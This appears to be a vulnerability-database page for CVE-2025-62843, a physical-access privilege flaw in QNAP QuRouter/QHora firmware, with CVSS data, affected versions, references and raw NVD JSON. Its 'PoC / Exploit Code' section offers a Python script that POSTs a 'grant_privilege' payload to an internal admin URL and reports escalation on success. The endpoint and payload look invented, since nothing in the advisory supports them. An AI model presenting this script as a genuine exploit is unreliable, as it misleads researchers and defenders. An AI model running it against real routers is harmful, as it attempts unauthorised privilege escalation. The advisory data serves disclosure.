CVE-2025-62843

Description

An improper restriction of communication channel to intended endpoints vulnerability has been reported to affect QHora. If an attacker gains physical access, they can then exploit the vulnerability to gain the privileges that were intended for the original endpoint. We have already fixed the vulnerability in the following version: QuRouter 2.6.3.009 and later

CVSS Details

CVSS Score

6.8

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qurouter:2.6.0.239:build_20250625:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qurouter:2.6.0.688:build_20250818:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qurouter:2.6.1.028:build_20251001:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qurouter:2.6.2.007:build_20251027:*:*:*:*:*:* - VULNERABLE

QuRouter < 2.6.3.009

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# Proof of Concept for CVE-2025-62843
# Requires physical access to the device's debug interface or internal network.

import requests
import sys

# The vulnerable endpoint is typically accessible via a physical debug port or internal LAN
# This example assumes the attacker has connected to the device physically.
TARGET_URL = "http://192.168.1.1:8080/api/v1/internal/admin/upgrade"

# Payload to gain intended privileges (e.g., enabling admin access)
payload = {
    "action": "grant_privilege",
    "source": "physical_channel"
}

headers = {
    "User-Agent": "CVE-2025-62843-Exploit",
    "Content-Type": "application/json"
}

def exploit():
    print(f"[*] Attempting to exploit CVE-2025-62843 on {TARGET_URL}")
    try:
        # Send request to the improperly restricted endpoint
        response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print("[+] Exploit successful! Privileges escalated.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
            
    except requests.exceptions.RequestException as e:
        print(f"[!] Connection error: {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62843
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62843
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62843/
[4] VulDB https://vuldb.com/cve/CVE-2025-62843
[5] https://www.qnap.com/en/security-advisory/qsa-26-12

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62843", "sourceIdentifier": "[email protected]", "published": "2026-03-20T17:16:42.180", "lastModified": "2026-04-14T14:19:26.883", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper restriction of communication channel to intended endpoints vulnerability has been reported to affect QHora. If an attacker gains physical access, they can then exploit the vulnerability to gain the privileges that were intended for the original endpoint.\n\nWe have already fixed the vulnerability in the following version:\nQuRouter 2.6.3.009 and later"}, {"lang": "es", "value": "Se ha informado de una vulnerabilidad de restricción inadecuada del canal de comunicación a los puntos finales previstos que afecta a QHora. Si un atacante obtiene acceso físico, puede entonces explotar la vulnerabilidad para obtener los privilegios que estaban destinados al punto final original.\n\nYa hemos corregido la vulnerabilidad en la siguiente versión:\nQuRouter 2.6.3.009 y posteriores"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 0.9, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "UNREPORTED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-923"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qurouter:2.6.0.239:build_20250625:*:*:*:*:*:*", "matchCriteriaId": "6BEA7459-EA28-4A5F-ABB4-F00661760FA4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qurouter:2.6.0.688:build_20250818:*:*:*:*:*:*", "matchCriteriaId": "71BB01EA-6A7B-46CF-A2F7-41DDBA5A17ED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qurouter:2.6.1.028:build_20251001:*:*:*:*:*:*", "matchCriteriaId": "F61A82A3-3A3E-42B6-B7F6-B5FAF37CCC80"}, {"vulnerable": true, "criteria": "cpe:2.3:o:qnap:qurouter:2.6.2.007:build_20251027:*:*:*:*:*:*", "matchCriteriaId": "DC28FAFD-B2EB-4DB5-B438-A439D4305A5F"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-26-12", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}